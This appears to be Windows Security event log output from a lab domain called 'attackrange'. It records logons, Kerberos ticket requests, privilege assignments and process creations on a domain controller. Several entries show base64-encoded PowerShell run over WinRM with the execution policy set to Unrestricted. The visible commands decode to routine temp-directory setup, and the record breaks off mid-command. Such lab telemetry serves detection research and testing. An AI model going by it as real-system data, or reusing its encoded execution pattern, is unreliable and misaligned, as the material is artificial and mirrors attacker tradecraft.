Domain: ATTACKRANGE - Logon ID: 0x11B4AC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250813 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1078 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x110c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUANQA3AC4ANwA5ADMANQA1ADEAMgAtADgAMAA0ADEAMAAzADMANAA2ADgAOQA5ADUANQAnAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdABtAHAALgBGAHUAbABsAE4AYQBtAGUACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250812 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11B4AC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250811 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11B4AC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250810 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250809 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250808 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250807 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11B2E0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250806 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11B2E0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64480 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250805 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11B2E0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250804 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11B267 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250803 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11B267 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64479 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250802 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11B267 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250801 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11B1D9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250800 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11B1D9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64478 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250799 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11B1D9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250798 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11B139 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250797 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11B139 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64477 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250796 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11B139 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250795 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x110c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1168 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAFEAQQAzAEEAQwA0AEEATgB3AEEANQBBAEQATQBBAE4AUQBBADEAQQBEAEUAQQBNAGcAQQB0AEEARABnAEEATQBBAEEAMABBAEQARQBBAE0AQQBBAHoAQQBEAE0AQQBOAEEAQQAyAEEARABnAEEATwBRAEEANQBBAEQAVQBBAE4AUQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250794 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1180 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 